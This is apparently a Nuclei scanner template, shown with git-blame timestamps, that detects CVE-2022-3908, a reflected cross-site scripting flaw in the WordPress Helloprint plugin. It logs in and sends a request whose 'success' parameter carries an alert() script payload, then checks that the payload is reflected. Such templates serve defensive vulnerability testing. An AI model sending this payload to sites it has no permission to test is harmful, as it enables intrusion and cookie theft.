nuclei-templates/http/cves/2022/CVE-2022-3908.yaml

50 lines
2.0 KiB
YAML
Raw Normal View History

2023-03-18 22:07:09 +00:00
id: CVE-2022-3908
info:
name: WordPress Helloprint <1.4.7 - Cross-Site Scripting
2023-03-18 22:07:09 +00:00
author: theamanrawat
severity: medium
description: |
2023-03-31 13:21:07 +00:00
WordPress Helloprint plugin before 1.4.7 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-06 11:59:08 +00:00
remediation: Fixed in version 1.4.7.
2023-03-18 22:07:09 +00:00
reference:
- https://wpscan.com/vulnerability/c44802a0-8cbe-4386-9523-3b6cb44c6505
- https://wordpress.org/plugins/helloprint/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3908
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-3908
cwe-id: CWE-79
2023-08-31 11:46:18 +00:00
epss-score: 0.00071
epss-percentile: 0.29429
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:helloprint:helloprint:*:*:*:*:*:wordpress:*:*
2023-03-18 22:07:09 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: helloprint
product: helloprint
2023-09-06 11:59:08 +00:00
framework: wordpress
tags: xss,wordpress,wp-plugin,helloprint,cve,cve2022,wp,authenticated,wpscan
2023-03-18 22:07:09 +00:00
http:
2023-03-18 22:07:09 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=language-translate.php&success=added"><script>alert(`XSS`)<%2Fscript> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "Translation added\\\"><script>alert(`XSS`)</script> successfully")'
condition: and
# digest: 490a004630440220376cf347824347ba568583c7ae778d052b47131344b7ebc371e3ef02b01b8b2e02207e941ddda8f3981604d8328e8b1cc94b1d7f5b9614a552a696a9d9e02cc3fbf7:922c64590222798bb761d5b6d8e72950